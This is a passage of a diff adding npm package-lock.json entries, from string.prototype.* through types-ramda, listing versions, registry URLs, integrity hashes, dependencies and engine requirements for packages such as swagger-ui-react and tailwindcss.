+ "integrity": "sha512-NUdh0aDavY2og7IbBPenWqR9exH+E26Sv8e0/eTe1tltDGZL+GtBkDAnnyBtmekfK6/Dq3MkcGtzXFEd1LQrtg==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.2",
+ "es-errors": "^1.3.0",
+ "es-object-atoms": "^1.0.0",
+ "get-intrinsic": "^1.2.4",
+ "gopd": "^1.0.1",
+ "has-symbols": "^1.0.3",
+ "internal-slot": "^1.0.7",
+ "regexp.prototype.flags": "^1.5.2",
+ "set-function-name": "^2.0.2",
+ "side-channel": "^1.0.6"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/string.prototype.repeat": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz",
+ "integrity": "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==",
+ "dependencies": {
+ "define-properties": "^1.1.3",
+ "es-abstract": "^1.17.5"
+ }
+ },
+ "node_modules/string.prototype.trim": {
+ "version": "1.2.10",
+ "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz",
+ "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==",
+ "dependencies": {
+ "call-bind": "^1.0.8",
+ "call-bound": "^1.0.2",
+ "define-data-property": "^1.1.4",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.5",
+ "es-object-atoms": "^1.0.0",
+ "has-property-descriptors": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/string.prototype.trimend": {
+ "version": "1.0.9",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz",
+ "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==",
+ "dependencies": {
+ "call-bind": "^1.0.8",
+ "call-bound": "^1.0.2",
+ "define-properties": "^1.2.1",
+ "es-object-atoms": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/string.prototype.trimstart": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz",
+ "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-object-atoms": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/stringify-entities": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.4.tgz",
+ "integrity": "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==",
+ "dependencies": {
+ "character-entities-html4": "^2.0.0",
+ "character-entities-legacy": "^3.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/strip-ansi": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+ "dependencies": {
+ "ansi-regex": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/strip-ansi-cjs": {
+ "name": "strip-ansi",
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+ "dependencies": {
+ "ansi-regex": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/strip-bom": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
+ "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==",
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/strip-json-comments": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
+ "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/style-to-object": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-1.0.8.tgz",
+ "integrity": "sha512-xT47I/Eo0rwJmaXC4oilDGDWLohVhR6o/xAQcPQN8q6QBuZVL8qMYL85kLmST5cPjAorwvqIA4qXTRQoYHaL6g==",
+ "dependencies": {
+ "inline-style-parser": "0.2.4"
+ }
+ },
+ "node_modules/styled-jsx": {
+ "version": "5.1.6",
+ "resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.6.tgz",
+ "integrity": "sha512-qSVyDTeMotdvQYoHWLNGwRFJHC+i+ZvdBRYosOFgC+Wg1vx4frN2/RG/NA7SYqqvKNLf39P2LSRA2pu6n0XYZA==",
+ "dependencies": {
+ "client-only": "0.0.1"
+ },
+ "engines": {
+ "node": ">= 12.0.0"
+ },
+ "peerDependencies": {
+ "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0 || ^19.0.0-0"
+ },
+ "peerDependenciesMeta": {
+ "@babel/core": {
+ "optional": true
+ },
+ "babel-plugin-macros": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/sucrase": {
+ "version": "3.35.0",
+ "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.0.tgz",
+ "integrity": "sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==",
+ "dependencies": {
+ "@jridgewell/gen-mapping": "^0.3.2",
+ "commander": "^4.0.0",
+ "glob": "^10.3.10",
+ "lines-and-columns": "^1.1.6",
+ "mz": "^2.7.0",
+ "pirates": "^4.0.1",
+ "ts-interface-checker": "^0.1.9"
+ },
+ "bin": {
+ "sucrase": "bin/sucrase",
+ "sucrase-node": "bin/sucrase-node"
+ },
+ "engines": {
+ "node": ">=16 || 14 >=14.17"
+ }
+ },
+ "node_modules/sucrase/node_modules/brace-expansion": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
+ "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^1.0.0"
+ }
+ },
+ "node_modules/sucrase/node_modules/glob": {
+ "version": "10.5.0",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz",
+ "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==",
+ "license": "ISC",
+ "dependencies": {
+ "foreground-child": "^3.1.0",
+ "jackspeak": "^3.1.2",
+ "minimatch": "^9.0.4",
+ "minipass": "^7.1.2",
+ "package-json-from-dist": "^1.0.0",
+ "path-scurry": "^1.11.1"
+ },
+ "bin": {
+ "glob": "dist/esm/bin.mjs"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/sucrase/node_modules/minimatch": {
+ "version": "9.0.5",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
+ "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+ "dependencies": {
+ "brace-expansion": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=16 || 14 >=14.17"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dependencies": {
+ "has-flag": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/supports-preserve-symlinks-flag": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+ "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/swagger-client": {
+ "version": "3.36.0",
+ "resolved": "https://registry.npmjs.org/swagger-client/-/swagger-client-3.36.0.tgz",
+ "integrity": "sha512-9fkjxGHXuKy20jj8zwE6RwgFSOGKAyOD5U7aKgW/+/futtHZHOdZeqiEkb97sptk2rdBv7FEiUQDNlWZR186RA==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.22.15",
+ "@scarf/scarf": "=1.4.0",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@swagger-api/apidom-json-pointer": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-openapi-3-1": "^1.0.0-rc.1",
+ "@swagger-api/apidom-reference": "^1.0.0-rc.1",
+ "@swaggerexpert/cookie": "^2.0.2",
+ "deepmerge": "~4.3.0",
+ "fast-json-patch": "^3.0.0-1",
+ "js-yaml": "^4.1.0",
+ "neotraverse": "=0.6.18",
+ "node-abort-controller": "^3.1.1",
+ "node-fetch-commonjs": "^3.3.2",
+ "openapi-path-templating": "^2.2.1",
+ "openapi-server-url-templating": "^1.3.0",
+ "ramda": "^0.30.1",
+ "ramda-adjunct": "^5.1.0"
+ }
+ },
+ "node_modules/swagger-ui-react": {
+ "version": "5.30.3",
+ "resolved": "https://registry.npmjs.org/swagger-ui-react/-/swagger-ui-react-5.30.3.tgz",
+ "integrity": "sha512-QIy32nPql6yiV2NVwbww1P7f6HEOAuYrnk8VEJkzPC/p6Xc5Xnz9hhmSHzXTuM70fDbVw/qPzCJ0mZMMultpiw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.27.1",
+ "@scarf/scarf": "=1.4.0",
+ "base64-js": "^1.5.1",
+ "buffer": "^6.0.3",
+ "classnames": "^2.5.1",
+ "css.escape": "1.5.1",
+ "deep-extend": "0.6.0",
+ "dompurify": "=3.2.6",
+ "ieee754": "^1.2.1",
+ "immutable": "^3.x.x",
+ "js-file-download": "^0.4.12",
+ "js-yaml": "=4.1.1",
+ "lodash": "^4.17.21",
+ "prop-types": "^15.8.1",
+ "randexp": "^0.5.3",
+ "randombytes": "^2.1.0",
+ "react-copy-to-clipboard": "5.1.0",
+ "react-debounce-input": "=3.3.0",
+ "react-immutable-proptypes": "2.2.0",
+ "react-immutable-pure-component": "^2.2.0",
+ "react-inspector": "^6.0.1",
+ "react-redux": "^9.2.0",
+ "react-syntax-highlighter": "^16.0.0",
+ "redux": "^5.0.1",
+ "redux-immutable": "^4.0.0",
+ "remarkable": "^2.0.1",
+ "reselect": "^5.1.1",
+ "serialize-error": "^8.1.0",
+ "sha.js": "^2.4.12",
+ "swagger-client": "^3.36.0",
+ "url-parse": "^1.5.10",
+ "xml": "=1.0.1",
+ "xml-but-prettier": "^1.0.1",
+ "zenscroll": "^4.0.2"
+ },
+ "peerDependencies": {
+ "react": ">=16.8.0 <20",
+ "react-dom": ">=16.8.0 <20"
+ }
+ },
+ "node_modules/swagger-ui-react/node_modules/immutable": {
+ "version": "3.8.2",
+ "resolved": "https://registry.npmjs.org/immutable/-/immutable-3.8.2.tgz",
+ "integrity": "sha512-15gZoQ38eYjEjxkorfbcgBKBL6R7T459OuK+CpcWt7O3KF4uPCx2tD0uFETlUDIyo+1789crbMhTvQBSR5yBMg==",
+ "license": "MIT",
+ "peer": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/swagger-ui-react/node_modules/redux-immutable": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/redux-immutable/-/redux-immutable-4.0.0.tgz",
+ "integrity": "sha512-SchSn/DWfGb3oAejd+1hhHx01xUoxY+V7TeK0BKqpkLKiQPVFf7DYzEaKmrEVxsWxielKfSK9/Xq66YyxgR1cg==",
+ "license": "BSD-3-Clause",
+ "peerDependencies": {
+ "immutable": "^3.8.1 || ^4.0.0-rc.1"
+ }
+ },
+ "node_modules/tailwind-merge": {
+ "version": "2.5.5",
+ "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-2.5.5.tgz",
+ "integrity": "sha512-0LXunzzAZzo0tEPxV3I297ffKZPlKDrjj7NXphC8V5ak9yHC5zRmxnOe2m/Rd/7ivsOMJe3JZ2JVocoDdQTRBA==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/dcastil"
+ }
+ },
+ "node_modules/tailwindcss": {
+ "version": "3.4.16",
+ "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.16.tgz",
+ "integrity": "sha512-TI4Cyx7gDiZ6r44ewaJmt0o6BrMCT5aK5e0rmJ/G9Xq3w7CX/5VXl/zIPEJZFUK5VEqwByyhqNPycPlvcK4ZNw==",
+ "peer": true,
+ "dependencies": {
+ "@alloc/quick-lru": "^5.2.0",
+ "arg": "^5.0.2",
+ "chokidar": "^3.6.0",
+ "didyoumean": "^1.2.2",
+ "dlv": "^1.1.3",
+ "fast-glob": "^3.3.2",
+ "glob-parent": "^6.0.2",
+ "is-glob": "^4.0.3",
+ "jiti": "^1.21.6",
+ "lilconfig": "^3.1.3",
+ "micromatch": "^4.0.8",
+ "normalize-path": "^3.0.0",
+ "object-hash": "^3.0.0",
+ "picocolors": "^1.1.1",
+ "postcss": "^8.4.47",
+ "postcss-import": "^15.1.0",
+ "postcss-js": "^4.0.1",
+ "postcss-load-config": "^4.0.2",
+ "postcss-nested": "^6.2.0",
+ "postcss-selector-parser": "^6.1.2",
+ "resolve": "^1.22.8",
+ "sucrase": "^3.35.0"
+ },
+ "bin": {
+ "tailwind": "lib/cli.js",
+ "tailwindcss": "lib/cli.js"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ }
+ },
+ "node_modules/tailwindcss-animate": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/tailwindcss-animate/-/tailwindcss-animate-1.0.7.tgz",
+ "integrity": "sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==",
+ "dev": true,
+ "peerDependencies": {
+ "tailwindcss": ">=3.0.0 || insiders"
+ }
+ },
+ "node_modules/tapable": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz",
+ "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/text-table": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
+ "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw=="
+ },
+ "node_modules/thenify": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
+ "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==",
+ "dependencies": {
+ "any-promise": "^1.0.0"
+ }
+ },
+ "node_modules/thenify-all": {
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
+ "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==",
+ "dependencies": {
+ "thenify": ">= 3.1.0 < 4"
+ },
+ "engines": {
+ "node": ">=0.8"
+ }
+ },
+ "node_modules/third-party-capital": {
+ "version": "1.0.20",
+ "resolved": "https://registry.npmjs.org/third-party-capital/-/third-party-capital-1.0.20.tgz",
+ "integrity": "sha512-oB7yIimd8SuGptespDAZnNkzIz+NWaJCu2RMsbs4Wmp9zSDUM8Nhi3s2OOcqYuv3mN4hitXc8DVx+LyUmbUDiA=="
+ },
+ "node_modules/tiny-invariant": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz",
+ "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg=="
+ },
+ "node_modules/to-buffer": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.2.tgz",
+ "integrity": "sha512-db0E3UJjcFhpDhAF4tLo03oli3pwl3dbnzXOUIlRKrp+ldk/VUxzpWYZENsw2SZiuBjHAk7DfB0VU7NKdpb6sw==",
+ "license": "MIT",
+ "dependencies": {
+ "isarray": "^2.0.5",
+ "safe-buffer": "^5.2.1",
+ "typed-array-buffer": "^1.0.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dependencies": {
+ "is-number": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=8.0"
+ }
+ },
+ "node_modules/toggle-selection": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/toggle-selection/-/toggle-selection-1.0.6.tgz",
+ "integrity": "sha512-BiZS+C1OS8g/q2RRbJmy59xpyghNBqrr6k5L/uKBGRsTfxmu3ffiRnd8mlGPUVayg8pvfi5urfnu8TU7DVOkLQ==",
+ "license": "MIT"
+ },
+ "node_modules/tree-sitter": {
+ "version": "0.21.1",
+ "resolved": "https://registry.npmjs.org/tree-sitter/-/tree-sitter-0.21.1.tgz",
+ "integrity": "sha512-7dxoA6kYvtgWw80265MyqJlkRl4yawIjO7S5MigytjELkX43fV2WsAXzsNfO7sBpPPCF5Gp0+XzHk0DwLCq3xQ==",
+ "hasInstallScript": true,
+ "license": "MIT",
+ "optional": true,
+ "dependencies": {
+ "node-addon-api": "^8.0.0",
+ "node-gyp-build": "^4.8.0"
+ }
+ },
+ "node_modules/tree-sitter-json": {
+ "version": "0.24.8",
+ "resolved": "https://registry.npmjs.org/tree-sitter-json/-/tree-sitter-json-0.24.8.tgz",
+ "integrity": "sha512-Tc9ZZYwHyWZ3Tt1VEw7Pa2scu1YO7/d2BCBbKTx5hXwig3UfdQjsOPkPyLpDJOn/m1UBEWYAtSdGAwCSyagBqQ==",
+ "hasInstallScript": true,
+ "license": "MIT",
+ "optional": true,
+ "dependencies": {
+ "node-addon-api": "^8.2.2",
+ "node-gyp-build": "^4.8.2"
+ },
+ "peerDependencies": {
+ "tree-sitter": "^0.21.1"
+ },
+ "peerDependenciesMeta": {
+ "tree-sitter": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/tree-sitter-json/node_modules/node-addon-api": {
+ "version": "8.5.0",
+ "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-8.5.0.tgz",
+ "integrity": "sha512-/bRZty2mXUIFY/xU5HLvveNHlswNJej+RnxBjOMkidWfwZzgTbPG1E3K5TOxRLOR+5hX7bSofy8yf1hZevMS8A==",
+ "license": "MIT",
+ "optional": true,
+ "engines": {
+ "node": "^18 || ^20 || >= 21"
+ }
+ },
+ "node_modules/tree-sitter/node_modules/node-addon-api": {
+ "version": "8.5.0",
+ "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-8.5.0.tgz",
+ "integrity": "sha512-/bRZty2mXUIFY/xU5HLvveNHlswNJej+RnxBjOMkidWfwZzgTbPG1E3K5TOxRLOR+5hX7bSofy8yf1hZevMS8A==",
+ "license": "MIT",
+ "optional": true,
+ "engines": {
+ "node": "^18 || ^20 || >= 21"
+ }
+ },
+ "node_modules/trim-lines": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz",
+ "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/trough": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz",
+ "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/ts-api-utils": {
+ "version": "1.4.3",
+ "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-1.4.3.tgz",
+ "integrity": "sha512-i3eMG77UTMD0hZhgRS562pv83RC6ukSAC2GMNWc+9dieh/+jDM5u5YG+NHX6VNDRHQcHwmsTHctP9LhbC3WxVw==",
+ "engines": {
+ "node": ">=16"
+ },
+ "peerDependencies": {
+ "typescript": ">=4.2.0"
+ }
+ },
+ "node_modules/ts-interface-checker": {
+ "version": "0.1.13",
+ "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
+ "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="
+ },
+ "node_modules/ts-mixer": {
+ "version": "6.0.4",
+ "resolved": "https://registry.npmjs.org/ts-mixer/-/ts-mixer-6.0.4.tgz",
+ "integrity": "sha512-ufKpbmrugz5Aou4wcr5Wc1UUFWOLhq+Fm6qa6P0w0K5Qw2yhaUoiWszhCVuNQyNwrlGiscHOmqYoAox1PtvgjA==",
+ "license": "MIT"
+ },
+ "node_modules/ts-toolbelt": {
+ "version": "9.6.0",
+ "resolved": "https://registry.npmjs.org/ts-toolbelt/-/ts-toolbelt-9.6.0.tgz",
+ "integrity": "sha512-nsZd8ZeNUzukXPlJmTBwUAuABDe/9qtVDelJeT/qW0ow3ZS3BsQJtNkan1802aM9Uf68/Y8ljw86Hu0h5IUW3w==",
+ "license": "Apache-2.0"
+ },
+ "node_modules/tsconfig-paths": {
+ "version": "3.15.0",
+ "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz",
+ "integrity": "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==",
+ "dependencies": {
+ "@types/json5": "^0.0.29",
+ "json5": "^1.0.2",
+ "minimist": "^1.2.6",
+ "strip-bom": "^3.0.0"
+ }
+ },
+ "node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="
+ },
+ "node_modules/type-check": {
+ "version": "0.4.0",
+ "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
+ "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
+ "dependencies": {
+ "prelude-ls": "^1.2.1"
+ },
+ "engines": {
+ "node": ">= 0.8.0"
+ }
+ },
+ "node_modules/type-fest": {
+ "version": "0.20.2",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
+ "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/typed-array-buffer": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz",
+ "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==",
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3",
+ "es-errors": "^1.3.0",
+ "is-typed-array": "^1.1.14"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/typed-array-byte-length": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.1.tgz",
+ "integrity": "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "for-each": "^0.3.3",
+ "gopd": "^1.0.1",
+ "has-proto": "^1.0.3",
+ "is-typed-array": "^1.1.13"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/typed-array-byte-offset": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.3.tgz",
+ "integrity": "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw==",
+ "dependencies": {
+ "available-typed-arrays": "^1.0.7",
+ "call-bind": "^1.0.7",
+ "for-each": "^0.3.3",
+ "gopd": "^1.0.1",
+ "has-proto": "^1.0.3",
+ "is-typed-array": "^1.1.13",
+ "reflect.getprototypeof": "^1.0.6"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/typed-array-length": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz",
+ "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "for-each": "^0.3.3",
+ "gopd": "^1.0.1",
+ "is-typed-array": "^1.1.13",
+ "possible-typed-array-names": "^1.0.0",
+ "reflect.getprototypeof": "^1.0.6"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/types-ramda": {
+ "version": "0.30.1",
+ "resolved": "https://registry.npmjs.org/types-ramda/-/types-ramda-0.30.1.tgz",
